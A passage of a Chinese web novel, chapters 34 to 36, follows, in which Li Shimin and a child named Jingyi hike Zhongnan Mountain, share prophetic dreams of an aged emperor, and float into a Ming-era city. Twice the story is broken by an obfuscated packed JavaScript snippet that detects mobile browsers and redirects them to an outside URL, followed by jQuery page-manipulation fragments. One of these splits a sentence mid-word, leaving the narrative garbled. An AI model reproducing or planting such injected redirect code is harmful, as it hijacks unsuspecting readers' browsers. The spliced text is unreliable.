李承乾轻声道:“或许是,也或许不是。但禄东赞寻了这么多年,找到的是景颐。这便够了。” 李泰难得没有追问。 马蹄踏过积雪,发出细碎而有节律的脆响。朱雀大街两侧的槐树光秃秃的,枝桠间积着薄雪,在夕阳下泛着暖金。 长琴策马随行,望着天边渐沉的落日,袖中避水珏静默无声。 东海归墟的潮汐,还有五十日。 夜深了,甘露殿只剩一盏孤灯。 李世民负手站在窗前,手中握着一只小小的铜盒。他想起那个叫久美的老人,想起他在雪山脚下抄经、指星星、收养无依的牧童。 也想起他临终前说的那句话。 “你该去长安了,有人在等你。” 李世民轻轻吐出一口气。 他仍旧不知道那个老人预见的、禄东赞寻找的究竟是什么。但他知道,此刻他的长安城里,有一个会因糖画弯起眉眼、会被爆竹声吓得缩脖子、会在师父面前嘴硬说“我才没睡”的孩子。 那孩子此刻正在凝云轩暖阁里,枕着那颗鹰纹念珠睡得香甜。 这就够了。 李世民将铜盒轻轻放在案上。 三日后,他会给禄东赞答复。 34.第 34 章 初七日,人日登高。 天刚蒙蒙亮,凝云轩廊下的铃铛就被撞得叮当作响。 “雉奴你快点儿!” “我、我系不上这个!” “哎呀那是腰上的!你两只手举起来!” 景颐的声音又脆又急,李治被他拽着两条系带转圈,衣襟歪到肩头,幞头斜挂耳边,活像只被顽童搓揉过的小汤圆。 长琴推门出来时,看见的就是这幅景象:景颐踩着杌子,半个身子探过李治肩膀,跟那根鹅黄丝绦殊死搏斗,李治被勒得直往后仰,小脸涨红,还不忘死死攥着手里的那块芝麻糖。 “……在做什么。” 清冷的声音从头顶落下。 景颐手一抖,丝绦滑脱。李治咳了两声,趁机把糖塞进嘴里。 “没、没做什么!”景颐从杌子上跳下来,低头整理自己衣襟,外袍系错了三颗扣,兔毛坎肩歪到一边,两只靴子左右穿反。 三息沉默。 “师父我可以解释!” 长琴看着他。 “是雉奴先来找我的!”景颐立刻指向李治,“他的带子系错了,我在帮他!我自己的衣服是、是……”他低头看看自己歪七扭八的打扮,声音越来越虚。 李治鼓着腮帮子嚼糖,毫无义气地别过脸。 “还有半炷香。”长琴收回目光,声音淡淡,“陛下在安福门等。” 门帘落下。 景颐愣了愣,随即像只被踩了尾巴的猫,嗖地窜起来:“快快快!雉奴你的腰带!我靴子穿反了——阿姊!阿姊你好了没有——” 庭院里鸡飞狗跳。 丽质从西厢探出头,发髻已经梳得整整齐齐,无奈地看着景颐把两只靴子脱了、左右对调、又穿反了、再脱、终于穿对。她走过去,弯腰帮他把坎肩系带重新系好,把那颗歪到后颈的扣子挪回原位。 “谢谢阿姊!”景颐冲她咧嘴一笑,深褐色的眼眸亮晶晶的,毫无闯祸后的心虚。 丽质轻轻摇头,唇角却弯了起来。 安福门外,李世民已经等了半炷香。 他今日一身骑装,外罩灰鼠皮披风,足蹬乌皮六合靴,正骑着乌骓与长孙皇后说话。皇后换了身藕荷色窄袖胡服,发髻简单绾起,外罩银狐斗篷,少了平日的端肃,多了几分英气。 李承乾和李泰策马立在一旁,两人一脸兴奋地低声议论着什么。 远处传来轻缓的马蹄声。 众人抬头,只见长琴策着青骢马缓缓行来。 “先生。”李世民微微颔首,“孩子们呢?” 长琴没有答话,只微微侧身,露出身后,一匹矮小温驯的枣红小马驹正悠闲踱步。 马背上趴着两团。 景颐整个人抱着马脖子,脸埋进鬃毛里,两条腿在两边耷拉着,李治缩在他身后,两只小手死死攥着景颐的衣带,眼睛闭得紧紧的。两人像两只叠在一起的树袋熊,随着马步一颠一颠。 小马驹两侧,两名侍卫寸步不离地跟着,手臂虚虚护在半空,一脸紧张,仿佛下一刻这两个小祖宗就要滚下来。 丽质骑在一匹温驯的白马上,落后几步,正以袖掩口,肩膀一抖一抖。 “哈哈哈哈——”李泰第一个没绷住,笑趴在马脖子上。 李世民以拳抵唇,喉间逸出一声闷笑。长孙皇后别过脸,肩头轻颤。连李承乾都忍不住弯起嘴角,只是顾及太子仪态,硬撑着没笑出声。 长琴神色平静,仿佛身后那一幕再寻常不过。 “景颐,”李世民含笑开口,“骑马好玩吗?” 景颐从马鬃里缓缓抬起脸,眼睛汪着一层水光,腮帮子却鼓着:“好玩。” “那怎么趴在马背上?” “它、它走太快了。”景颐小声道,“我没怕。” 话音刚落,小马驹打了个响鼻,往前踱了一步。景颐条件反射地把脸埋回去,两只手把马脖子抱得更紧。 李泰笑得直揉肚子:“你不是没怕吗!” 景颐不理他,闷闷的声音从马鬃里传出来:“它自己要走这么快的。” 李世民终于笑出声。他策马上前,弯腰一捞,把景颐从小马驹上拎起来,稳稳安置在自己鞍前。 “走,李叔叔带你骑。”他声音里还带着笑,“乌骓稳,不颠。” 景颐乖乖窝进他怀里,眼睛弯成月牙,方才那点惊慌早没了影。 另一边,李承乾已经下马,走到小马驹旁,向李治伸出手:“九郎,来。” 李治颤巍巍松开马鬃,扑进兄长怀里。李承乾将他抱上自己的马鞍,自己也翻身上马,把弟弟拢在身前。 “大兄,”李治攥着他的衣襟,小声道,“我以后也要学骑马。” “嗯。”李承乾低头看他,“学会了,就不怕了。” 李治用力点头。 丽质策马过来,她脸上还有未散的笑意,声音却温温的:“景颐,其实你骑得不错的。” 景颐眨眨眼:“真的?” “嗯,至少你爬上去了。”丽质认真道,“我第一次骑马,在马上哭了半个时辰。” 景颐顿时挺直腰板,冲李泰扬了扬下巴:“听见没有!” 李泰翻个白眼,懒得拆穿他。 李世民朗声一笑,一夹马腹,当先驰出。 队伍向着终南山方向缓缓行去。 终南山在长安南边,冬日的山色萧索,枝头却已能看见星星点点的青意。 李世民勒住马,环顾四周山势,正要开口问路。 “这边这边!” 景颐从他怀里探出脑袋,小胳膊往前一挥,像只振翅的小雀。 “那边有小路,从竹林穿过去,比大路近一半!” 李世民低头看他,眉梢微挑:“你怎知道?” 景颐眨眨眼,理直气壮:“我去年春天就住这儿呀!” 他挣了挣,李世民便顺势把他放下马。小家伙脚一沾地,立刻像归林的小兽,哒哒哒跑到山道岔口,指着一片半枯的竹林。 “从这里进去,走一百步有条小溪,溪上有座木桥。过了桥往左拐,再走一盏茶工夫,就到半山腰了!那里有块大青石,可平了,能坐着看山!” 他边说边比划,眼睛亮晶晶的,分明是炫耀,偏偏炫耀得坦坦荡荡。 李泰第一个跳下马,凑过来:“你怎么记得这么清楚?” “我每块石头都摸过!”景颐仰着小下巴,“每一块!” 李治跑到景颐身边,搂着他的胳膊,问他:“那有小兔子吗?” “有!”景颐立刻点头,“青石后面有条小道,往里走可深了,我见过灰的、黄的,还有一只耳朵尖是黑的——” “景颐。”长琴的声音从身后传来,淡淡的,“你去年在这里做了什么?” 景颐的声音戛然而止。 他慢慢转回头,对上师父平静的目光,心虚地把半句“我还掏过兔子洞”咽了回去。 “……就随便看看。”他小声嘟囔。 李泰憋着笑,丽质低头拨弄马鞭,连李承乾的嘴角都微微扬起。 李世民朗声一笑:“既然小向导都开口了,就从此处上山。” 竹林小径幽深,枯叶铺地,踩上去沙沙作响。景颐走在最前头,脚步轻快得像只林间的小鹿,时不时回头招呼落在后面的李治。 “雉奴快看!这块石头像不像乌龟!” “那边有松鼠!你看见没有,尾巴好蓬!” “这里的溪水能喝!师父说干净——哎呀凉!” 他把手从溪水里缩回来,甩着水珠,笑出一口小白牙。 长琴负手走在队伍后侧,目光落在那道蹦蹦跳跳的青色小身影上。 这孩子在流云境时,也常这样满山跑。时痕木的林子,云海边的石崖,他每处都摸过、爬过、摔过,磕破了膝盖也不哭,爬起来继续跑。 只是那时,他总是一个人。 “先生。”李世民不知何时走在他身侧,低声道,“景颐从前在终南山,也是这样?” 长琴沉默片刻。 “比现在更野。”他说。 李世民笑了,望着前方那个正蹲在地上、跟李治一起研究一簇早开野花的景颐。 “野些好。”李世民的声音温和,“孩子该野一些。” 半山腰那块大青石果然平整。 侍卫们铺开毡毯,摆上食盒。热腾腾的炊饼、酱羊肉、腌渍的梅子、还有一壶壶温在炭火上的茶。长孙皇后亲自将桂花酿分给李世民和长琴,又给孩子们一人一盅蜜水。 景颐捧着蜜水喝了一口,眼睛却滴溜溜往李泰那边转。 李泰正打开自己的点心匣子,里头整整齐齐码着八块云片糕。 他刚捏起一块,余光就瞥见一颗毛茸茸的脑袋凑到肘边。 “……干嘛。” “四兄,”景颐眨巴着眼,“你那糕,香不香?” 李泰咬了一口:“香。” 景颐咽了咽口水,往前又凑了半寸。 “那分我一点点呗?” 李泰看看他,又看看自己手里只剩半块的糕,再看看匣子里剩下的七块。 “你不是有蜜水吗?” “蜜水是甜的,糕也是甜的。”景颐理直气壮,“甜的和甜的在一起,会更甜!” 李泰噎住了。 他总觉得哪里不对,又反驳不出来。 丽质轻轻笑了一声,李承乾低头饮茶,假装没看见。连长孙皇后都弯起唇角,没有解围的意思。 李泰认命地掰了半块糕,塞进景颐手里。 景颐接过来,咬了一大口,腮帮子塞得鼓鼓的,还不忘含糊道:“谢谢四兄!” 李泰摆摆手,把匣子往他那边推了推:“都给你都给你。” “那不用,我只要半块。”景颐嚼着糕,眉开眼笑,“剩下的你明天还能吃!” 李泰愣了一息,随即低下头,狠狠咬了一口自己的云片糕。 这人真是…… 李承乾看了弟弟一眼,眼底有浅浅的笑意。 歇过脚,孩子们坐不住了。 景颐拉着李治去看他说的松鼠洞,李泰非要跟着,丽质担心两个弟弟闯祸,也提着裙摆跟上去。李承乾放心不下,落后几步护着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182048|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李世民与长孙皇后坐在青石上,望着那群钻进林子的身影。 “观音婢,”李世民忽然道,“你说,景颐像什么?” 长孙皇后想了想,微笑道:“像只小雀,关不住,也不想关。” 李世民没有说话。 他想起去岁夏苗,第一次见到这孩子,那时他蹲在那只死去的虎旁,泛金的眼睛里汪着泪,委屈巴巴地让他赔大猫猫。 “我有时想,”帝王的声音放得很轻,“让他就这样玩着、闹着,也挺好。” 长孙皇后握住他的手,没有答话。 山林深处传来李泰的大嗓门:“景颐你慢点!九郎要摔了!” “不会!我牵着呢!” 然后是李治也学着喊“不会!”的声音和丽质无奈又带笑的“当心脚下”。 李世民端起茶盏,饮尽杯中余温。 登顶时已是申时初。 终南山巅极目远眺,长安城如一方棋盘铺在平原上,宫阙巍峨,坊市井然。渭水如带,蜿蜒东去。 孩子们累得东倒西歪,却又被这壮阔景象震得说不出话。 李治小声道:“长安好大啊。” “这是我们的长安。”李承乾望着那片灰瓦红墙,声音不高,却像在许什么诺。 景颐站在山崖边,风灌进他的衣领,把兔毛坎肩吹得猎猎作响。他缩了缩脖子,眼睛望向东南方向。 那里的云层正在堆叠,像层层叠叠的山峦,又像遥遥涌来的潮头。 他没有告诉任何人,昨夜他又做梦了。 梦里不是雪域,不是长安,是一个他从没见过的地方。 那里有青灰色的城墙,还有一个白发苍苍的老人,正伏在案边批阅奏折。 老人忽然抬起头,浑浊的目光穿透梦境,直直望向他。 “你是谁家的小儿?” 景颐从梦中惊醒,那颗鹰纹念珠在枕边烫得惊人。 现在风从东南来,吹在脸上,他恍惚又听见那个苍老的声音。 你是谁家的小儿? “景颐。” 长琴的声音在身后响起。 景颐回头,师父站在三步外,目光落在他脸上。风将他的鹤氅吹起一角,露出靛青常服的衣摆。 “昨夜梦见什么了。” 不是问句。 景颐抿了抿唇,小声道:“梦见一个老爷爷,他在批奏折,忽然抬头看我,问我‘你是谁家的小儿’。” 长琴沉默片刻。 “你答了吗?” “没有。”景颐摇头,“我就醒了。” 他顿了顿,眼睛里浮起困惑:“师父,梦里的人……能看见我吗?” 长琴没有立刻回答。 山巅的风继续吹着,将他的声音带得很轻。 他说,“你的溯梦,正在变深。” 不是惊醒梦中人,而是入梦太深,与那人的意识交错。 梦里的人,开始感知到他的存在。 景颐眨了眨眼,似乎没有意识到这意味著什么。他反而高兴起来:“那下次我再做梦,可以跟那个老爷爷说话吗?” 长琴看着他澄澈的眼眸,没有说是,也没有说不。 “……不可勉强。”他最终只说了这四个字。 景颐却把这当成了允诺,用力点头,眉眼弯弯。 他哒哒哒跑回孩子们中间,李泰正拉着李承乾比谁扔石子扔得远,李治在旁边当裁判,丽质护着他不被飞溅的石屑崩到。闹成一团。 山巅的风继续吹着。 李世民走到长琴身侧,低声道:“景颐那孩子,方才在山边站了许久。先生与他说了什么?” 长琴望着那道青色的小身影。 “他在长大。”他说。 帝王顺着他的目光望去,没有追问。 暮色渐起,长安城的灯火在山下遥遥亮起,如星河倾落人间。 下山的路走得慢。 景颐又困了,被李世民拢在鞍前,深褐色的眼眸半睁半闭,脑袋一点一点。 长孙皇后策马过来,将一条薄毯盖在他身上。景颐往毯子里缩了缩,攥着李叔叔的衣襟,呢喃了一句什么。 李世民侧耳去听。 “……梦里那个老爷爷……他好像很难过……” 风把尾音吹散了。 李世民垂眸看着怀中半梦半醒的孩子,没有追问。 乌骓迈着平稳的步子,踏过朱雀大街的残雪。暮色四合,长安城的灯火一盏盏亮起。 长琴策马随行,望着天边渐沉的落日。 他想起昨夜入定时,避水珏忽然大震,潮声如千军万马奔涌而来。 东海归墟的潮汐,还有四十三日。 他不打算带景颐去。 那孩子该在长安,在凝云轩,在人皇的身边,在皇子公主们的笑闹里。 该在梦里,慢慢学会与那些被他惊扰的人一一对话。 马蹄声碎,踏破长安暮色。 景颐在李世民怀里翻了个身,嘟囔了一句谁也听不清的梦话。 唇角弯弯的,不知梦见了什么好事。 35.第 35 章 景颐又梦见那个老人了。 一开始只是雾,浓稠的、灰白色的雾,像流云境晨起时漫过石阶的云海,只是没有云海的清透,沉沉地压着,让人胸口发闷。 他站在雾里,不知道该往哪儿走。 然后雾薄了些,他看见一扇窗。 窗是支开的,糊着细密的碧纱,烛光从里面透出来,昏黄而温柔。窗下是一张堆满卷帙的案几,有人伏在案边,肩背微驼,执笔的手悬了太久,指节有些僵硬。 景颐往前走了两步。脚下没有声音,像踩在云上。 那人忽然停了笔。 他抬起头,转过脸来。 是一张苍老的、疲惫的、却依旧威严的脸。眼窝深陷,颧骨凸起,嘴角有两道深深的法令纹。那双眼睛浑浊如蒙尘的琉璃,却仍亮着一点不肯熄灭的光。 他看见了景颐。 景颐想跑。他不知道为什么想跑,只是那双眼睛望过来时,他忽然觉得害怕。 老人的嘴唇翕动,声音嘶哑而轻,像风穿过枯叶。 “你是谁家的小儿?” 景颐猛地睁开眼。 帐顶的承尘在晨光里泛着柔和的青灰色。凝云轩的窗棂透进淡金色的光,鸟在檐外叫,隔壁传来李治咿咿呀呀念书的声音。 是长安,是凝云轩,是安全的。 景颐慢慢坐起来,低头摸了摸枕边那颗鹰纹念珠,珠子是凉的。 他攥着念珠坐了很久。 “景颐。” 门帘掀动,进来的却不是长琴。丽质站在门口,手里端着一碟枣泥酥,见他怔怔地坐在榻上,脚步顿了顿。 “先生今早出远门了。”她轻声道,“娘娘让我来瞧瞧你。” 景颐眨眨眼,这才想起师父昨日说,要去东海办一件要紧的事,来回须得月余。 师父不在长安了。 他低头看看自己手里的念珠,又抬头看看丽质关切的眼神,忽然鼻子一酸。 “阿姊,”他小声说,“李叔叔今天忙不忙?” 李世民正在甘露殿召见房玄龄。 河西诸州春耕在即,需调拨粮种,户部与司农寺各执一词,吵了两日仍无定论。房玄龄捧着一沓账簿,正逐条细陈利弊,李世民凝神听着,手指在膝上轻轻叩击。 殿外忽然传来低低的说话声。 李世民抬眼。内侍躬身进来,神色有些为难:“陛下,景颐小郎君来了,说、说想见陛下。” 房玄龄识趣地合上账簿:“臣先告退。” “房公不必。”李世民摆了摆手,对内侍道,“让他进来。” 门帘掀开,探进来一颗毛茸茸的脑袋。 景颐今日穿着家常的豆青小袄,头发梳得齐整,两只小髻用青缎带系着。只是那双眼睛红了一圈,像只被雨淋过的雀儿。 他站在殿门口,没有像往常那样哒哒哒跑进来。 “景颐?”李世民放柔了声音,“过来。” 景颐慢慢挪过去,在他脚边站定,仰着小脸看了他一会儿。 然后忽然张开胳膊,一头扎进他膝上。 李世民怔了怔。这孩子不是没撒过娇,要他抱上马时,讨糖吃时,犯了错往他身后躲时。可从来没有这样,什么都不说,只是把脸埋在他膝间,小小一团缩着,像只受了惊、拼命往窝里钻的幼兽。 他抬手,轻轻落在景颐的后脑上。 “梦见什么了?” 膝间传来闷闷的声音:“一个老爷爷。” “嗯。” “他每次都问我‘你是谁家的小儿’。”景颐把脸埋得更深,“我、我不知道怎么答。” 李世民抚着他发顶的手没有停。 “他凶你吗?” “不凶。”景颐摇头,“就是……就是一直看着我。” 他顿了顿,声音更小了:“他的眼睛很难过,我看不懂。” 殿中静了片刻。房玄龄不知何时已悄然退下,只剩一大一小与一殿春昼的日光。 李世民垂眸看着膝上这团小小的、温热的重量。 他想起长琴临行前的话:“陛下若梦见什么异象,不必惊惶,那是景颐的溯梦与陛下气运共鸣。” 共鸣,什么是共鸣? 他不知道。他只是忽然很想问一问这个孩子。 你梦里那个老人,长什么模样? 可他没有问,他只是继续抚着景颐的发顶,一下,又一下,像在抚平一只小兽炸起的绒毛。 “下次再梦见,”李世民的声音亲和沉稳,“你就告诉他,你是我家的孩子。” 景颐从他膝间抬起脸,红红的眼睛眨了眨。 “叔叔家的?” “嗯。”李世民点了点他鼻尖,“我家的。” 景颐把这两个字含在嘴里嚼了嚼,皱起的小眉头慢慢松开了。 他打了个哈欠,靠在李叔叔膝边,没一会儿竟睡着了。 李世民没有动,他就着这个姿势,继续批阅案上的奏折。朱笔悬停时,偶尔垂眸看一眼膝边那张酣睡的小脸。 窗外日光正好,惊蛰未至,春意已悄悄爬上殿角的柳枝。 是夜,甘露殿。 李世民今夜没有梦见战场,没有梦见突厥,没有梦见那些他杀过的人、胜过的人、还在等他的敌人。 他梦见一扇窗。 碧纱窗,支着半扇,烛光透出来,昏黄而温柔。窗下是一张堆满卷帙的案几,他伏在案边,手握着笔,指节酸痛,肩背僵硬。 他在批奏折。 字是熟悉的,那是他写了二十多年的字,只是比记忆中的更颤、更涩。 他批完一本,放下笔,抬起头。 对面站着一个孩子。 豆青小袄,双丫小髻,深褐色的眼眸瞪得圆圆的,像只在林间猝然撞见猎人的小鹿。 他张了张嘴,听见自己的声音苍老、嘶哑、陌生。 “你是谁家的小儿?” 孩子没有答,他只是怔怔地望着他,那双澄澈的眼眸里,倒映着烛火,倒映着窗棂,倒映着, 一个衰老的、疲惫的、眼窝深陷的自己。 李世民猛然惊醒。 甘露殿夜深,残烛将尽。他独坐在御榻上,心跳如擂鼓,后背的寝衣已被冷汗浸透。 方才那梦中人的脸,那张苍老的、陌生的脸, 是他自己。 不,是二十年后的自己。 那眉眼,那轮廓,那连他自己都几乎遗忘的、少年时从铜镜里见过的倔强神情。只是老了,疲惫了,被岁月磨去了所有锋棱,只剩一双不肯熄灭的眼睛。 而那双眼睛里,倒映着景颐。 李世民在黑暗中坐了许久。 他没有召人,没有点灯,没有做任何事。他只是坐着,任那颗心跳慢慢平复,任窗外的更声一更一更过去。 他想,那是景颐的溯梦,他梦见我,我便也梦见了他。 如此而已。 没有什么需要深究的。 他把这句话在心里重复了三遍,起身披衣,唤内侍添烛。 案上还有三州春耕的折子未批。 景颐醒来时,枕边那颗念珠又热了。 他伸手摸了摸,烫烫的,像被梦里的烛火烤了一夜。 李治正在窗外背书,稚嫩的声音穿过窗纸,念的是《诗经》里的句子:“昔我往矣,杨柳依依……” 景颐抱着被子坐了一会儿,忽然爬下榻,哒哒哒跑出凝云轩。 甘露殿外,内侍见了他,笑着躬身:“小郎君又来找陛下?” “嗯!”景颐仰着脸,“李叔叔有空吗?” 内侍进去通传,片刻后掀帘:“陛下请小公子进去。” 李世民正在用早膳。小米粥,两碟小菜,一屉蒸饼。他抬眼看向门口,那孩子今日没有红眼眶,只是站在门边,认真地看着他。 “李叔叔,”景颐说,“我昨晚又梦见那个老爷爷了。” “嗯。” “他这次没有问我话。”景颐走过来,趴在他案边,下巴搁在手背上,“他只是一直看着我。” 李世民放下筷子。 “他看你的眼神,”李世民的声音很轻,“可怕吗?” 景颐想了想,摇头。 “不是可怕。”他慢慢地说,“就像……就像叔叔看雉奴那种。” 他顿了顿,似乎自己也觉得这个比方打得奇怪,有点不好意思,把半张脸埋进手臂里。 李世民没有说话。 窗外,二月的风拂过殿角的柳枝,那些细嫩的鹅黄芽苞正在轻轻摇晃。 “我昨夜也梦见一个人。”李世民忽然开口。 景颐抬起脸,眨眨眼。 “是个老人。”李世民说,“他很累,批了一夜的奏折,手都在抖。” “他看见叔叔了吗?”景颐问。 李世民沉默片刻。 “看见了。”他说,“他用我的眼睛,看见了我。” 景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186655|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颐没有听懂。 他只知道,李叔叔说这话的时候,语气和平时不太一样。不是难过,也不是生气,是一种他说不上来的、让人想靠得近一点的声音。 他于是又往前凑了凑,把小手覆在李世民搁在案边的手背上。 “李叔叔,”他说,“你累不累?” 李世民低头看着那只小小的、温热的、覆在自己指节上的手。 六岁的孩子,手背还有圆圆的肉窝,指头短短的,连他半个手掌都盖不住。 “不累。”他说。 景颐点点头,好像很满意这个答案。 他收回手,从碟子里摸了一个蒸饼,咬了一口,含糊道:“师父不在,我以后天天来找李叔叔说话。” 李世民看着他,唇角微微扬起。 “……好。” 此后景颐果然天天来。 有时是早上,趴在案边看他批折子,看一会儿就开始打哈欠,脑袋一点一点,最后枕着自己的手臂睡着。李世民便让内侍取来薄毯,盖在他身上。 有时是午后,带着李治和丽质一起来,殿中便热闹起来。李泰闻风而至,嚷嚷着“阿耶我也要听政”,被李世民一句“你把《汉书》读完了吗”堵了回去,蔫蔫地缩在角落里翻书。 有时是傍晚,景颐一个人来,也不说话,就坐在窗边,托着腮看殿外那棵柳树。 “看什么?”李世民问。 “看它发芽。”景颐认真道,“昨天才三颗,今天有五颗了。” 李世民走到窗边,顺着他的目光望去。 那棵柳树确实在发芽。细嫩的、鹅黄的、米粒大小的芽苞,缀在深褐色的枝条上,在暮光里泛着柔润的光泽。 他看了很久。 “景颐,”他忽然问,“你梦里那个老人,还在看你吗?” “在。”景颐说,“每天都看。” “你怕他吗?” 景颐想了想,摇头。 “他都不说话,只是看。”他顿了顿,“看久了,就不怕了。” 李世民没有说话。 他想,二十年后的自己,坐在那扇碧纱窗下,批着一本又一本永远批不完的奏折,手腕酸痛,眼目昏花。 他看见一个六岁的孩子站在烛光里,深褐色的眼眸澄澈如泉。 他问:“你是谁家的小儿?” 那孩子没有答。 但他知道答案。 ——那是我家的孩子。 二月的风从窗口吹进来,带着渭水化冻的湿润、终南山初融的雪意、还有长安城一百零八坊袅袅升起的炊烟。 李世民负手立在窗前,听着身后孩子们叽叽喳喳的吵闹声,忽然觉得,二十年好像也没那么远。 长琴走后的第二十三天,景颐又做梦了。 梦里还是那扇碧纱窗,还是那张堆满卷帙的案几,还是那个白发苍苍的老人。 只是这一次,老人没有批奏折。 他靠在凭几上,闭着眼睛,脸微微侧向窗口的方向。窗外似乎有光,照在他布满细纹的脸上,把那些沟壑照得格外分明。 景颐站在原处,没有动。 过了很久,老人睁开眼睛。 他看向景颐。 那双曾经浑浊如蒙尘琉璃的眼睛,此刻澄明得惊人。而他依然老,依然疲惫,依然被岁月压弯了脊背。 但那双眼里的光,像夏夜最亮的那颗星。 老人没有问“你是谁家的小儿”。 他只是看着景颐,很慢、很慢地,弯起嘴角。 景颐醒来时,枕边湿了一小片。 他不记得自己哭了,他摸摸脸颊,干干的,可枕巾分明是潮的。 那颗鹰纹念珠静静躺在他掌心,温温的,不再烫手。 窗外,二月最后一天的长安,落了今春第一场细雨。 李世民在甘露殿批完最后一本折子,搁笔时听见檐外淅沥的雨声。 他抬起头,望向窗外。 那棵柳树的芽苞已经长成细嫩的叶片,在雨中轻轻摇曳,翠绿如洗。 他没有梦见那个老人。 但他知道,老人还在那里。 在二十年后的那扇碧纱窗下,批着永远批不完的奏折,看着永远看不完的长安春天。 看着他亲手种下的柳树,一年年发芽,一年年抽枝,一年年亭亭如盖。 看着他家那个六岁的小儿,在烛光里仰着脸,深褐色的眼眸澄澈如泉。 看着他。 36.第 36 章 贞观五年三月初三,上巳节。 长安城万人空巷,曲江池畔仕女如云,景颐却趴在凝云轩窗边,百无聊赖地戳着一盆刚发芽的兰草。 “好无聊啊。”他把下巴搁在窗框上,深褐色的眼眸盯着那盆草,“师父什么时候回来……” 李治蹲在他旁边,也学着把下巴搁在窗框上,两个小人儿排成一排,像两只等投喂的雏雀。 丽质坐在榻边翻书,抬眼看了他们一眼,没有戳穿他们一早上已经吃了六块糕、三颗梨、半碟松子糖。 李泰大步流星跨进院子,手里扬着一封信:“丽质!雉奴!景颐!阿耶说今日休沐,带咱们去西市看百戏!” 景颐眼睛一亮,从窗框上弹起来:“真的?!” “阿耶还说,”李泰顿了顿,努力模仿李世民的语气,“‘景颐这几日蔫蔫的,带他出去跑跑。’” 景颐眨眨眼,耳尖悄悄红了。 他才不蔫。 他只是在想师父,还有那个梦里的老爷爷。他已经好几天没有梦见老爷爷了。 他有点想他。 在西市玩了半日,回来的路上,景颐就困了。 他本想回凝云轩睡一觉,可趴在马背上颠啊颠的,反倒精神了。等到了甘露殿,李世民要批折子,他便自告奋勇地说“我在旁边自己玩”。 李世民看了他一眼,没戳穿这孩子每次自己玩的结果都是睡着。 “榻上歪着。”他只说了这一句。 景颐便爬上御案旁的矮榻,规规矩矩坐好。 他自己玩了不到半炷香。 先是从袖子里摸出一颗松子糖,塞进嘴里。 然后是盯着殿梁上的彩画数仙鹤,数到十七只的时候,眼睛开始打架。 脑袋一点一点,像只啄米的小鸡。 最后身子一歪,枕着自己的手臂,彻底睡了过去。 李世民批完一本折子,转头看了看榻上那团睡得四仰八叉的小身影。 他不进失笑,搁下笔,起身走过去,把那滑落到腰间的薄毯往上拽了拽。 窗外春日和暖,殿中熏炉轻烟袅袅。 正要低头继续批折子,忽觉眼前一阵恍惚。 那烟,那光,那空气里浮动的尘埃,忽然都凝住了。 李世民眨了眨眼。 甘露殿不见了。 应天府,洪武门外。 景颐是被一片金光晃醒的。 他眯着眼,发现自己正飘在半空中,脚不沾地,晃晃悠悠。身边是熟悉的衣角,皇李叔叔也在飘。 “哇!”景颐一下子清醒了,下意识攥住那片衣角,“我们在飞!” 李世民低头看了看自己悬空的脚,又看了看四周完全陌生的城池。 城墙不是长安的青灰色,是另一种他从未见过的赭红,在日光下泛着厚重而新鲜的色泽。城门楼巍峨壮丽,三层重檐,琉璃瓦闪着粼粼的光。 匾额上是三个他没见过、却莫名能认出的字—— 洪武门。 他没有来过这里,没有见过这座城。 “李叔叔,这里是哪儿呀?”景颐拽着他袖子,眼睛里满是好奇,没有一丝害怕。 李世民没有答。他只是握紧了掌中那只小手。 “走。”他说,“去看看。” 他们像两片羽毛,飘过城门,飘过长街。 然后景颐就被眼前的景象惊呆了。 人。 好多人。 比他这辈子见过的人加起来还多! 长街两侧挤得密密麻麻,摩肩接踵,男女老少把沿街的每一寸空地都填满了。树上爬着半大小子,屋顶上蹲着胆大的后生,沿街的酒楼客栈窗口探出无数颗脑袋,像一堵堵挤满了麻雀的墙。 人声如潮,嗡嗡嗡嗡,根本听不清谁在说什么。 景颐张大了嘴,脖子仰成九十度,看着一个蹲在树杈上的小胖子,那小胖子正努力往更高处爬,□□都开线了也顾不上。 “李叔叔,”他咽了咽口水,“这里的人,比西市上元节还多!” 李世民环顾四周。这阵仗,这架势,这场面, 他也是头一回见。 正懵着,人群忽然沸腾起来。 “来了来了!到洪武门了!” “番邦进贡的麒麟!真的是麒麟!” “听说脖子老长了!角也有!” “神兽啊!咱们这辈人还能见着神兽!” 人声如潮,一浪高过一浪。每张脸上都写着新奇、兴奋、翘首以盼,像是把一辈子的热闹都攒到今天来用了。 景颐耳朵嗖地竖了起来。 麒麟? 他一把攥紧李世民的手:“李叔叔你听见了吗!麒麟!他们说有麒麟!” 李世民一愣。 “真的麒麟?”景颐眼睛亮得像点了两盏小灯,“是、是跟我一样的麒麟吗?” 他从来没有见过别的麒麟。 爹爹不算,那是爹爹。而且他也没见过爹爹的真身。 画本里也有麒麟,可那毕竟是画。 现在真的有麒麟被人找到了?被人从什么地方带来了?活生生的、毛茸茸的、会喘气会走路的麒麟? 景颐激动得话都说不利索了:“我、我想看!” “走。”李世民也起了兴致。 他倒要看看,是什么“麒麟”。 两人飘过重重人海,越过高高的宫墙,落在一座金碧辉煌的大殿之外。 殿高数丈,朱漆巨柱盘龙,穹顶藻井繁复如星图。 御座上坐着一位身穿明黄袍服的帝王,约莫四十出头,身量魁梧,浓眉美髯,面容威严。 他没有像寻常帝王那样端坐不动,而是微微前倾着身子,手撑在膝上,一双眼睛亮得惊人,像即将出猎的猛虎盯着猎物。 